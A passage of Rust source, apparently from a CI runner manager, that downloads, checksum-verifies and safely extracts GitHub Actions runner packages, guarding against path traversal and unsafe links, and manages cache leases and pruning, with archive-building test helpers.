1576 what: "list the runner package cache",
1577 path: self.root.clone(),
1578 source,
1579 })?;
1580 if !entry.file_name().to_string_lossy().starts_with('.') {
1581 found.push(entry.path());
1582 }
1583 }
1584 Ok(found)
1585 }
1586
1587 fn set_aside(&self, root: &Path) -> Result<StagingGuard, PackageError> {
1589 let aside = self
1590 .staging_root()
1591 .join(format!("untrusted-{}", uuid::Uuid::new_v4()));
1592 fs::rename(root, &aside).map_err(|source| PackageError::Io {
1593 what: "set aside a runner package to reinstall it",
1594 path: root.to_path_buf(),
1595 source,
1596 })?;
1597 Ok(StagingGuard::new(aside))
1598 }
1599
1600 pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
1619 self.ensure_installed_reporting()
1620 .await
1621 .map(|(package, _)| package)
1622 }
1623
1624 pub async fn ensure_installed_reporting(
1630 &self,
1631 ) -> Result<(InstalledPackage, bool), PackageError> {
1632 self.install(false).await
1633 }
1634
1635 async fn install(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1638 host_os::validate(self.os, self.arch)?;
1641
1642 if !force && let Some(entry) = self.reusable()? {
1643 return Ok((entry, false));
1644 }
1645
1646 let mut last: Option<PackageError> = None;
1647 for attempt in 1..=self.retry_budget {
1648 match self.install_once(force).await {
1649 Ok(package) => {
1650 *self
1651 .last_check
1652 .0
1653 .lock()
1654 .unwrap_or_else(std::sync::PoisonError::into_inner) =
1655 Some(self.ports.clock.now());
1656 return Ok(package);
1657 }
1658 Err(error) if error.is_terminal() => return Err(error),
1659 Err(error) => {
1660 last = Some(error);
1661 if attempt < self.retry_budget {
1662 self.ports.backoff.wait(attempt).await;
1663 }
1664 }
1665 }
1666 }
1667 Err(PackageError::Exhausted {
1668 attempts: self.retry_budget,
1669 source: Box::new(last.expect("a spent budget leaves a failure behind")),
1670 })
1671 }
1672
1673 #[must_use]
1698 pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
1699 now.signed_duration_since(package.installed_at) > self.freshness.window
1700 }
1701
1702 pub(crate) fn reusable(&self) -> Result<Option<InstalledPackage>, PackageError> {
1705 host_os::validate(self.os, self.arch)?;
1706 if self.check_is_due(self.ports.clock.now())? {
1707 return Ok(None);
1708 }
1709 self.newest_installed()
1710 }
1711
1712 fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
1727 let Some(newest) = self.newest_installed()? else {
1728 return Ok(true);
1729 };
1730 if self.is_stale(&newest, now) {
1731 return Ok(true);
1732 }
1733 let last = *self
1734 .last_check
1735 .0
1736 .lock()
1737 .unwrap_or_else(std::sync::PoisonError::into_inner);
1738 Ok(match last {
1739 None => true,
1740 Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
1741 })
1742 }
1743
1744 async fn install_once(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1746 let published = self.ports.catalog.published().await?;
1747
1748 let download =
1753 published
1754 .select(self.os, self.arch)
1755 .ok_or(PackageError::NoPackagePublished {
1756 os: self.os,
1757 arch: self.arch,
1758 })?;
1759 let version = RunnerVersion::from_filename(&download.filename)?;
1760
1761 if !force && let Some(entry) = self.entry(&version)? {
1763 return Ok((entry, false));
1764 }
1765
1766 let now = self.ports.clock.now();
1769 if !force
1770 && let Some(newest) = self.newest_installed()?
1771 && !self.is_stale(&newest, now)
1772 {
1773 return Ok((newest, false));
1774 }
1775
1776 let digest = self.required_digest(download, &version)?;
1777 self.download_verify_and_install(download, &version, &digest, now, force)
1778 .await
1779 }
1780
1781 fn required_digest(
1796 &self,
1797 download: &RunnerDownload,
1798 version: &RunnerVersion,
1799 ) -> Result<Sha256Hex, PackageError> {
1800 let published = match download.sha256_checksum() {
1801 None => PublishedChecksum::Absent,
1802 Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
1803 Some(raw) => match Sha256Hex::parse(raw) {
1804 Ok(digest) => return Ok(digest),
1805 Err(_) => PublishedChecksum::Malformed,
1806 },
1807 };
1808 #[cfg(test)]
1809 if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
1810 return Sha256Hex::parse(&"00".repeat(32));
1811 }
1812 match self.pins.get(version) {
1813 Some(pinned) => Ok(pinned.clone()),
1814 None => Err(PackageError::ChecksumAbsent {
1815 version: version.clone(),
1816 os: self.os,
1817 arch: self.arch,
1818 published,
1819 }),
1820 }
1821 }
1822
1823 async fn download_verify_and_install(
1845 &self,
1846 download: &RunnerDownload,
1847 version: &RunnerVersion,
1848 expected: &Sha256Hex,
1849 now: Timestamp,
1850 force: bool,
1851 ) -> Result<(InstalledPackage, bool), PackageError> {
1852 let (_, kind) = ArchiveKind::split(&download.filename)?;
1853 let staging_root = self.staging_root();
1854 create_dir_all(&staging_root)?;
1855 let token = uuid::Uuid::new_v4();
1856 let archive = staging_root.join(format!("download-{token}.archive"));
1857 let extracted = staging_root.join(token.to_string());
1858
1859 let outcome = self
1860 .fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
1861 .await;
1862
1863 let removed = remove_file_if_present(&archive, "remove the package download");
1868 let mut contents = outcome?;
1869 removed?;
1870
1871 let guard = StagingGuard::new(extracted.clone());
1872 let manifest = Manifest {
1873 version: version.clone(),
1874 digest: expected.clone(),
1875 installed_at: now,
1876 filename: download.filename.clone(),
1877 };
1878 let written = write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
1880 contents.add_file(Path::new(MANIFEST_FILE), &written);
1881
1882 let target = self.version_dir(version);
1883 create_dir_all(&self.root)?;
1884
1885 let displace =
1890 fs::symlink_metadata(&target).is_ok() && (force || self.entry(version)?.is_none());
1891 let displaced = if displace {
1892 Some(self.set_aside(&target)?)
1893 } else {
1894 None
1895 };
1896
1897 let committed = fs::rename(&extracted, &target);
1902 tokio::task::spawn_blocking(move || drop(displaced));
1905 match committed {
1906 Ok(()) => {}
1907 Err(source) => {
1908 if !force && let Some(entry) = self.entry(version)? {
1909 guard.disarm_into_sweep();
1910 return Ok((entry, false));
1911 }
1912 return Err(PackageError::Io {
1913 what: "commit the extracted runner package",
1914 path: target,
1915 source,
1916 });
1917 }
1918 }
1919 guard.disarm_into_sweep();
1920
1921 Ok((
1922 InstalledPackage {
1923 version: version.clone(),
1924 root: target,
1925 installed_at: now,
1926 digest: expected.clone(),
1927 contents: Some(Arc::new(contents)),
1928 },
1929 true,
1930 ))
1931 }
1932
1933 async fn fetch_verify_extract(
1939 &self,
1940 download: &RunnerDownload,
1941 version: &RunnerVersion,
1942 expected: &Sha256Hex,
1943 kind: ArchiveKind,
1944 archive: &Path,
1945 extracted: &Path,
1946 ) -> Result<PackageContents, PackageError> {
1947 self.ports
1948 .fetcher
1949 .fetch(&download.download_url, archive)
1950 .await?;
1951
1952 let archive = archive.to_path_buf();
1958 let extracted = extracted.to_path_buf();
1959 let expected = expected.clone();
1960 let version = version.clone();
1961 tokio::task::spawn_blocking(move || {
1962 let bytes = fs::read(&archive).map_err(|source| PackageError::Io {
1963 what: "read the package download file",
1964 path: archive.clone(),
1965 source,
1966 })?;
1967 let actual = Sha256Hex::parse(&hex::encode(Sha256::digest(&bytes)))?;
1968
1969 #[cfg(test)]
1972 let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
1973 == Ok("skip_checksum_comparison")
1974 || actual == expected;
1975 #[cfg(not(test))]
1976 let checksum_matches = actual == expected;
1977 if !checksum_matches {
1978 return Err(PackageError::ChecksumMismatch {
1979 version,
1980 expected,
1981 actual,
1982 });
1983 }
1984
1985 extract(&bytes, kind, &extracted)?;
1986 PackageContents::of_archive(&bytes, kind)
1987 })
1988 .await
1989 .map_err(|error| PackageError::Extract {
1990 detail: format!("the extraction task failed: {error}"),
1991 })?
1992 }
1993
1994 fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
1997 self.root.join(version.as_str())
1998 }
1999
2000 pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
2010 let root = self.version_dir(version);
2011 if !root.is_dir() {
2012 return Ok(None);
2013 }
2014 let Ok(Some(manifest)) = read_json::<Manifest>(&root.join(MANIFEST_FILE)) else {
2018 return Ok(None);
2019 };
2020 if manifest.version != *version {
2021 return Ok(None);
2022 }
2023 Ok(Some(InstalledPackage {
2024 version: manifest.version,
2025 root,
2026 installed_at: manifest.installed_at,
2027 digest: manifest.digest,
2028 contents: None,
2029 }))
2030 }
2031
2032 pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
2037 let mut found = Vec::new();
2038 let entries = match fs::read_dir(&self.root) {
2039 Ok(entries) => entries,
2040 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
2041 Err(source) => {
2042 return Err(PackageError::Io {
2043 what: "read the runner package cache",
2044 path: self.root.clone(),
2045 source,
2046 });
2047 }
2048 };
2049 for entry in entries {
2050 let entry = entry.map_err(|source| PackageError::Io {
2051 what: "read the runner package cache",
2052 path: self.root.clone(),
2053 source,
2054 })?;
2055 let name = entry.file_name();
2056 let Some(name) = name.to_str() else { continue };
2057 if name.starts_with('.') {
2061 continue;
2062 }
2063 let Ok(version) = RunnerVersion::parse(name) else {
2064 continue;
2065 };
2066 if let Some(package) = self.entry(&version)? {
2067 found.push(package);
2068 }
2069 }
2070 found.sort_by(|a, b| a.version.cmp(&b.version));
2071 Ok(found)
2072 }
2073
2074 pub(crate) fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
2076 Ok(self
2077 .installed()?
2078 .into_iter()
2079 .max_by_key(|package| package.installed_at))
2080 }
2081
2082 fn leases_dir(&self) -> PathBuf {
2085 self.root.join(LEASES_DIR)
2086 }
2087
2088 fn lease_path(&self, attempt: AttemptId) -> PathBuf {
2089 self.leases_dir()
2090 .join(format!("{attempt}.{LEASE_EXTENSION}"))
2091 }
2092
2093 pub fn lease(
2113 &self,
2114 attempt: &RunnerAttempt,
2115 version: &RunnerVersion,
2116 ) -> Result<(), PackageError> {
2117 if self.entry(version)?.is_none() {
2118 return Err(PackageError::NotInstalled {
2119 version: version.clone(),
2120 });
2121 }
2122 let runtime = attempt.runtime_path();
2123 if is_inside(&self.root, runtime) {
2124 return Err(PackageError::WorkspaceInsideCache {
2125 attempt: attempt.id,
2126 path: runtime.to_path_buf(),
2127 });
2128 }
2129 create_dir_all(&self.leases_dir())?;
2130 write_json(
2131 &self.lease_path(attempt.id),
2132 &Lease {
2133 version: version.clone(),
2134 },
2135 )?;
2136 Ok(())
2137 }
2138
2139 pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
2147 let path = self.lease_path(attempt);
2148 match fs::remove_file(&path) {
2149 Ok(()) => Ok(()),
2150 Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2151 Err(source) => Err(PackageError::Io {
2152 what: "release a runner package lease",
2153 path,
2154 source,
2155 }),
2156 }
2157 }
2158
2159 pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
2164 let mut holders = Vec::new();
2165 let dir = self.leases_dir();
2166 let entries = match fs::read_dir(&dir) {
2167 Ok(entries) => entries,
2168 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
2169 Err(source) => {
2170 return Err(PackageError::Io {
2171 what: "read the runner package leases",
2172 path: dir,
2173 source,
2174 });
2175 }
2176 };
2177 for entry in entries {
2178 let entry = entry.map_err(|source| PackageError::Io {
2179 what: "read the runner package leases",
2180 path: dir.clone(),
2181 source,
2182 })?;
2183 let path = entry.path();
2184 if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
2185 continue;
2186 }
2187 if let Some(holder) = holder_of(&path, version)? {
2197 holders.push(holder);
2198 }
2199 }
2200 holders.sort_unstable();
2201 Ok(holders)
2202 }
2203
2204 pub(crate) fn prune(
2271 &self,
2272 version: &RunnerVersion,
2273 attempts: &[RunnerAttempt],
2274 ) -> Result<(), PackageError> {
2275 if self.entry(version)?.is_none() {
2276 return Err(PackageError::NotInstalled {
2277 version: version.clone(),
2278 });
2279 }
2280 let holders = self.holders(version)?;
2281 for holder in &holders {
2282 match attempts.iter().find(|attempt| attempt.id == *holder) {
2283 Some(attempt) if attempt.counts_against_capacity() => {
2284 return Err(PackageError::VersionInUse {
2285 version: version.clone(),
2286 attempt: *holder,
2287 state: attempt.state(),
2288 });
2289 }
2290 Some(_) => {}
2291 None => {
2292 return Err(PackageError::VersionHeldByUnknownAttempt {
2293 version: version.clone(),
2294 attempt: *holder,
2295 });
2296 }
2297 }
2298 }
2299
2300 let dir = self.version_dir(version);
2301 remove_tree(&dir).map_err(|source| PackageError::Io {
2302 what: "remove a cached runner package",
2303 path: dir,
2304 source,
2305 })?;
2306 for holder in holders {
2308 self.release(holder)?;
2309 }
2310 Ok(())
2311 }
2312
2313 fn staging_root(&self) -> PathBuf {
2316 self.root.join(STAGING_DIR)
2317 }
2318
2319 pub fn sweep_staging(&self) -> Result<usize, PackageError> {
2328 let root = self.staging_root();
2329 let entries = match fs::read_dir(&root) {
2330 Ok(entries) => entries,
2331 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
2332 Err(source) => {
2333 return Err(PackageError::Io {
2334 what: "read the runner package staging area",
2335 path: root,
2336 source,
2337 });
2338 }
2339 };
2340 let mut swept = 0;
2341 for entry in entries.flatten() {
2342 let path = entry.path();
2343 let removed = if path.is_dir() {
2346 remove_tree(&path).is_ok()
2347 } else {
2348 fs::remove_file(&path).is_ok()
2349 };
2350 if removed {
2351 swept += 1;
2352 }
2353 }
2354 Ok(swept)
2355 }
2356}
2357
2358#[derive(Debug, Clone, Serialize, Deserialize)]
2360struct Lease {
2361 version: RunnerVersion,
2362}
2363
2364struct StagingGuard {
2366 dir: Option<PathBuf>,
2367}
2368
2369impl StagingGuard {
2370 fn new(dir: PathBuf) -> Self {
2371 Self { dir: Some(dir) }
2372 }
2373
2374 fn disarm_into_sweep(mut self) {
2377 if let Some(dir) = self.dir.take() {
2378 let _ = remove_tree(dir);
2379 }
2380 }
2381}
2382
2383impl Drop for StagingGuard {
2384 fn drop(&mut self) {
2385 if let Some(dir) = self.dir.take() {
2386 let _ = remove_tree(dir);
2387 }
2388 }
2389}
2390
2391fn remove_tree(path: impl AsRef<Path>) -> io::Result<()> {
2395 #[cfg(unix)]
2396 {
2397 fs::remove_dir_all(path)
2398 }
2399 #[cfg(not(unix))]
2400 {
2401 remove_dir_all::remove_dir_all(path)
2402 }
2403}
2404
2405fn extract(archive: &[u8], kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
2416 create_dir_all(into)?;
2417 match kind {
2418 ArchiveKind::Zip => extract_zip(archive, into),
2419 ArchiveKind::TarGz => extract_tar_gz(archive, into),
2420 }
2421}
2422
2423fn extract_zip(archive: &[u8], into: &Path) -> Result<(), PackageError> {
2424 let mut zip =
2425 zip::ZipArchive::new(io::Cursor::new(archive)).map_err(|error| PackageError::Extract {
2426 detail: error.to_string(),
2427 })?;
2428
2429 for index in 0..zip.len() {
2430 let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
2431 detail: error.to_string(),
2432 })?;
2433 let raw_name = entry.name().to_string();
2434 let relative = entry
2438 .enclosed_name()
2439 .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2440 entry: raw_name.clone(),
2441 })?;
2442 let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
2443 continue;
2444 };
2445
2446 if entry.is_dir() {
2447 create_dir_all(&destination)?;
2448 apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
2451 continue;
2452 }
2453 if entry.is_symlink() {
2454 return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
2458 }
2459 if let Some(parent) = destination.parent() {
2460 create_dir_all(parent)?;
2461 }
2462 let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
2463 what: "create an extracted runner package file",
2464 path: destination.clone(),
2465 source,
2466 })?;
2467 io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
2468 what: "write an extracted runner package file",
2469 path: destination.clone(),
2470 source,
2471 })?;
2472 apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
2473 }
2474 Ok(())
2475}
2476
2477fn extract_tar_gz(archive: &[u8], into: &Path) -> Result<(), PackageError> {
2478 let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(archive));
2479 let entries = tar.entries().map_err(|source| PackageError::Extract {
2480 detail: source.to_string(),
2481 })?;
2482 for entry in entries {
2483 let mut entry = entry.map_err(|source| PackageError::Extract {
2484 detail: source.to_string(),
2485 })?;
2486
2487 let relative = entry
2490 .path()
2491 .map_err(|source| PackageError::Extract {
2492 detail: source.to_string(),
2493 })?
2494 .into_owned();
2495 let display = relative.display().to_string();
2496 let kind = entry.header().entry_type();
2497 let mode = entry
2498 .header()
2499 .mode()
2500 .map_err(|source| PackageError::Extract {
2501 detail: source.to_string(),
2502 })?;
2503 let link_target = entry
2504 .link_name()
2505 .map_err(|source| PackageError::Extract {
2506 detail: source.to_string(),
2507 })?
2508 .map(|target| target.into_owned());
2509
2510 let Some(destination) = entry_destination(into, &relative, &display)? else {
2514 continue;
2517 };
2518
2519 if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2529 let target =
2530 link_target
2531 .as_deref()
2532 .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2533 entry: display.clone(),
2534 })?;
2535 resolve_link_target(into, &destination, kind, target, &display)?;
2536 }
2537
2538 entry.set_preserve_permissions(false);
2550 entry.set_mask(0o077);
2551 let unpacked = entry
2552 .unpack_in(into)
2553 .map_err(|source| PackageError::Extract {
2554 detail: source.to_string(),
2555 })?;
2556 if !unpacked {
2557 return Err(PackageError::UnsafeArchiveEntry { entry: display });
2558 }
2559
2560 if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2563 let is_directory = matches!(kind, tar::EntryType::Directory);
2564 apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
2565 }
2566 }
2567 Ok(())
2568}
2569
2570fn resolve_link_target(
2577 into: &Path,
2578 entry_destination: &Path,
2579 kind: tar::EntryType,
2580 target: &Path,
2581 raw: &str,
2582) -> Result<(), PackageError> {
2583 let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2584 entry: raw.to_string(),
2585 };
2586 if target.is_absolute() {
2587 return Err(unsafe_entry());
2588 }
2589 let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
2590 entry_destination.parent().unwrap_or(into).to_path_buf()
2591 } else {
2592 into.to_path_buf()
2593 };
2594 for component in target.components() {
2595 match component {
2596 Component::Normal(part) => resolved.push(part),
2597 Component::CurDir => {}
2598 Component::ParentDir => {
2602 if !resolved.pop() {
2603 return Err(unsafe_entry());
2604 }
2605 }
2606 Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
2607 }
2608 }
2609 if !is_inside(into, &resolved) {
2610 return Err(unsafe_entry());
2611 }
2612 Ok(())
2613}
2614
2615fn entry_destination(
2635 root: &Path,
2636 relative: &Path,
2637 raw: &str,
2638) -> Result<Option<PathBuf>, PackageError> {
2639 let resolved = resolve_inside(root, relative, raw)?;
2640 if resolved == root {
2641 return Ok(None);
2642 }
2643 Ok(Some(resolved))
2644}
2645
2646fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
2658 if is_directory {
2659 return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
2660 }
2661 published.map(policy_mode)
2662}
2663
2664fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
2666 let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2667 entry: raw.to_string(),
2668 };
2669 if relative.is_absolute() {
2670 return Err(unsafe_entry());
2671 }
2672 let mut resolved = root.to_path_buf();
2673 for component in relative.components() {
2674 match component {
2675 Component::Normal(part) => resolved.push(part),
2676 Component::CurDir => {}
2680 Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
2681 return Err(unsafe_entry());
2682 }
2683 }
2684 }
2685 if !is_inside(root, &resolved) {
2686 return Err(unsafe_entry());
2687 }
2688 Ok(resolved)
2689}
2690
2691fn is_inside(root: &Path, candidate: &Path) -> bool {
2709 let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
2710 path.components()
2711 .filter_map(|component| match component {
2712 Component::Normal(part) => Some(part.to_os_string()),
2713 Component::RootDir => Some(std::ffi::OsString::from("/")),
2714 Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
2715 Component::CurDir | Component::ParentDir => None,
2716 })
2717 .collect()
2718 };
2719 if candidate
2722 .components()
2723 .any(|c| matches!(c, Component::ParentDir))
2724 {
2725 return false;
2726 }
2727 let root = normalise(root);
2728 let candidate = normalise(candidate);
2729 candidate.len() >= root.len() && candidate[..root.len()] == root[..]
2730}
2731
2732const fn policy_mode(published: u32) -> u32 {
2754 if published & 0o111 == 0 { 0o600 } else { 0o700 }
2755}
2756
2757fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
2765 let Some(published) = mode else { return Ok(()) };
2766 let mode = policy_mode(published);
2767 #[cfg(unix)]
2768 {
2769 use std::os::unix::fs::PermissionsExt as _;
2770 fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
2771 PackageError::Io {
2772 what: "set permissions on an extracted runner package file",
2773 path: path.to_path_buf(),
2774 source,
2775 }
2776 })
2777 }
2778 #[cfg(not(unix))]
2779 {
2780 let _ = (path, mode);
2784 Ok(())
2785 }
2786}
2787
2788fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
2797 match fs::remove_file(path) {
2798 Ok(()) => Ok(()),
2799 Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2800 Err(source) => Err(PackageError::Io {
2801 what,
2802 path: path.to_path_buf(),
2803 source,
2804 }),
2805 }
2806}
2807
2808fn create_dir_all(path: &Path) -> Result<(), PackageError> {
2809 fs::create_dir_all(path).map_err(|source| PackageError::Io {
2810 what: "create a runner package cache directory",
2811 path: path.to_path_buf(),
2812 source,
2813 })
2814}
2815
2816fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<Vec<u8>, PackageError> {
2817 let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
2818 detail: format!("the package manifest could not be encoded: {error}"),
2819 })?;
2820 fs::write(path, &encoded).map_err(|source| PackageError::Io {
2821 what: "write a runner package cache file",
2822 path: path.to_path_buf(),
2823 source,
2824 })?;
2825 Ok(encoded)
2826}
2827
2828fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
2851 let unreadable = || PackageError::UnreadableLease {
2852 path: path.to_path_buf(),
2853 };
2854 let uuid = path
2855 .file_stem()
2856 .and_then(|stem| stem.to_str())
2857 .and_then(|stem| uuid::Uuid::parse_str(stem).ok())
2858 .ok_or_else(unreadable)?;
2859 let Some(lease) = read_lease(path)? else {
2860 return Ok(None);
2861 };
2862 Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
2863}
2864
2865fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
2879 let read = open_regular(path).and_then(|mut file| {
2881 let mut bytes = Vec::new();
2882 file.read_to_end(&mut bytes).map(|_| bytes)
2883 });
2884 let bytes = match read {
2885 Ok(bytes) => bytes,
2886 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2887 Err(source) => {
2888 return Err(PackageError::Io {
2889 what: "read a runner package lease",
2890 path: path.to_path_buf(),
2891 source,
2892 });
2893 }
2894 };
2895 serde_json::from_slice(&bytes)
2896 .map(Some)
2897 .map_err(|_| PackageError::UnreadableLease {
2898 path: path.to_path_buf(),
2899 })
2900}
2901
2902fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
2909 let read = open_regular(path).and_then(|mut file| {
2911 let mut bytes = Vec::new();
2912 file.read_to_end(&mut bytes).map(|_| bytes)
2913 });
2914 let bytes = match read {
2915 Ok(bytes) => bytes,
2916 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2917 Err(source) => {
2918 return Err(PackageError::Io {
2919 what: "read a runner package cache file",
2920 path: path.to_path_buf(),
2921 source,
2922 });
2923 }
2924 };
2925 Ok(serde_json::from_slice(&bytes).ok())
2926}
2927
2928#[cfg(test)]
2933mod tests {
2934 use super::*;
2935
2936 use std::io::Write as _;
2937 use std::sync::atomic::{AtomicUsize, Ordering};
2938
2939 use runner_manager_domain::attempt::AttemptState;
2940 use runner_manager_testkit::clock::FakeClock;
2941 use runner_manager_testkit::fixtures;
2942 use runner_manager_testkit::github as gh;
2943
2944 fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2948 let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2949 let options = zip::write::SimpleFileOptions::default();
2950 for (name, body) in entries {
2951 writer
2952 .start_file(*name, options)
2953 .expect("start a zip entry");
2954 writer
2955 .write_all(body.as_bytes())
2956 .expect("write a zip entry");
2957 }
2958 writer.finish().expect("finish the zip").into_inner()
2959 }
2960
2961 fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
2966 let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2967 for (name, body, mode) in entries {
2968 let mut options = zip::write::SimpleFileOptions::default();
2969 if let Some(mode) = mode {
2970 options = options.unix_permissions(*mode);
2971 }
2972 if name.ends_with('/') {
2973 writer
2974 .add_directory(name.trim_end_matches('/'), options)
2975 .expect("start a zip directory");
2976 } else {
2977 writer
2978 .start_file(*name, options)
2979 .expect("start a zip entry");
2980 writer
2981 .write_all(body.as_bytes())
2982 .expect("write a zip entry");
2983 }
2984 }
2985 writer.finish().expect("finish the zip").into_inner()
2986 }
2987
2988 fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2990 let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2991 let mut builder = tar::Builder::new(encoder);
2992 for (name, body) in entries {
2993 let mut header = tar::Header::new_gnu();
2994 header.set_size(body.len() as u64);
2995 header.set_mode(0o644);
2996 header.set_cksum();
2997 builder
2998 .append_data(&mut header, name, body.as_bytes())
2999 .expect("append a tar entry");
3000 }
3001 builder
3002 .into_inner()
3003 .expect("finish the tar")
3004 .finish()
3005 .expect("finish the gzip")
3006 }
3007
3008 fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
3016 let mut header = tar::Header::new_gnu();
3017 header.set_size(body.len() as u64);
3018 header.set_mode(0o644);
3019 header.set_entry_type(tar::EntryType::Regular);
3020 {
3021 let gnu = header.as_gnu_mut().expect("a GNU header");
3022 let bytes = name.as_bytes();
3023 assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
3024 gnu.name[..bytes.len()].copy_from_slice(bytes);
3025 }
3026 header.set_cksum();
3027
3028 let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
3029 let mut builder = tar::Builder::new(encoder);
3030 builder
3031 .append(&header, body.as_bytes())
3032 .expect("append a raw tar entry");
3033 builder
3034 .into_inner()
3035 .expect("finish the tar")
3036 .finish()
3037 .expect("finish the gzip")
3038 }
3039
3040 fn tar_gz_special(
3046 name: &str,
3047 body: &str,
3048 mode: u32,
3049 kind: tar::EntryType,
3050 link_target: Option<&str>,
3051 ) -> Vec<u8> {
3052 let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
3053 let mut header = tar::Header::new_gnu();
3054 header.set_size(if is_link { 0 } else { body.len() as u64 });
3055 header.set_mode(mode);
3056 header.set_entry_type(kind);
3057 if let Some(target) = link_target {
3058 header
3059 .set_link_name_literal(target)
3060 .expect("a raw link target");
3061 }
3062 {
3063 let gnu = header.as_gnu_mut().expect("a GNU header");
3064 let bytes = name.as_bytes();
3065 assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
3066 gnu.name[..bytes.len()].copy_from_slice(bytes);
3067 }
3068 header.set_cksum();
3069
3070 let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
3071 let mut builder = tar::Builder::new(encoder);
3072 let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
3073 builder
3074 .append(&header, data)
3075 .expect("append a raw tar entry");
3076 builder
3077 .into_inner()
3078 .expect("finish the tar")
3079 .finish()
3080 .expect("finish the gzip")
3081 }
3082
3083 fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
3089 let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3090 bytes.to_vec(),
3091 )));
3092 let mut entries = archive.entries().expect("entries");
3093 let entry = entries
3094 .next()
3095 .expect("one entry")
3096 .expect("a readable entry");
3097 let link = entry
3098 .link_name()
3099 .expect("a link name field")
3100 .map(|path| path.into_owned());
3101 let header = entry.header();
3102 (header.mode().expect("a mode"), header.entry_type(), link)
3103 }
3104
3105 fn package_entries() -> Vec<(&'static str, &'static str)> {
3107 vec![
3108 ("run.sh", "#!/bin/sh\necho runner\n"),
3109 ("bin/Runner.Listener", "listener\n"),
3110 ]
3111 }
3112
3113 fn hex_digest(bytes: &[u8]) -> String {
3114 let mut hasher = Sha256::new();
3115 hasher.update(bytes);
3116 hex::encode(hasher.finalize())
3117 }
3118
3119 fn published(
3121 os: &str,
3122 arch: &str,
3123 version: &str,
3124 extension: &str,
3125 digest: Option<&str>,
3126 ) -> RunnerDownload {
3127 let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
3128 RunnerDownload {
3129 os: os.to_string(),
3130 architecture: arch.to_string(),
3131 download_url: format!(
3132 "https://github.com/actions/runner/releases/download/v{version}/{filename}"
3133 ),
3134 filename,
3135 sha256_checksum: digest.map(str::to_string),
3136 }
3137 }
3138
3139 #[derive(Debug, Clone)]
